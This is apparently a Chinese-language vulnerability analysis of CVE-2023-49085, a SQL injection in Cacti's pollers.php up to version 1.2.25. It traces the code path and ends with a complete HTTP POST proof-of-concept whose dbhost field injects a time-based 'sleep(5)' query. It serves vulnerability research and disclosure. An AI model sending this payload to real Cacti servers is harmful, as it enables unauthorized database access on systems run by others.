漏洞披露
发布日期:2023-12-22
更新日期: 2024-03-15
受影响系统:
Cacti Cacti <= 1.2.25
描述:
CVE(CAN) ID: CVE-2023-49085
Cacti是Cacti团队的一套开源的网络流量监测和分析工具,通过snmpget来获取数据,使用RRDtool绘画图形进行分析,并提供数据和用户管理功能。
Cacti 1.2.25及之前版本的pollers.php组件存在SQL注入漏洞,经过授权的攻击者可利用该漏洞通过pollers.php脚本执行任意SQL代码。
建议:
厂商补丁:
厂商尚未提供漏洞修复方案,请关注厂商主页更新:
https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855
漏洞信息
管理轮询器设备时存在SQL注入漏洞
后台时间注入
SQL 注入
产品 :仙人掌版本 : 1.2.25说明 : pollers.php 脚本。授权用户可以利用此漏洞。易受攻击的组件是 pollers.php。漏洞的影响 - 任意 SQL 代码执行。缓解 措施:改进用户数据转义以防止 SQL 注入。
漏洞分析
SQL 注入在 pollers.php 文件。
根据版本diff发现修改处host参数放在了数组里避免sql注入
poller_host_duplicate
函数第二个参数host存在sql注入
form_save这里调用了poller_host_duplicate
函数,并且host为$save['dbhost']
这里要$save['id'] > 1
且$save['dbhost'] != 'localhost'
才能调用poller_host_duplicate
函数
在当前文件里,这里的switch里调用了form_save函数
在功能点中找到,这里调用的是edit
里面的保存就回调用save
调用save
继续执行,这里到poller_host_duplicate
里就回把host内容拼接到sql语句里
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
POST /pollers.php?header=false HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 284
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/pollers.php?action=edit&id=1
Cookie: CactiDateTime=Fri Apr 05 2024 15:18:53 GMT+0800 (ä¸å½æ åæ¶é´); CactiTimeZone=480; Cacti=e65c894f6aa8c70ada5670b6d0fc8a75
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
__csrf_magic=sid%3Ae722d94815d4582781f3d1e0cc1f172ad4399a31%2C1712301539&name=Main+Poller&hostname=localhost&timezone=UTC¬es=test&processes=1&threads=1&id=2&save_component_poller=1&dbhost==";%20select%20sleep(5);%20select%20*%20from%20poller%20where%201=1%20and%20"%"="&action=save
|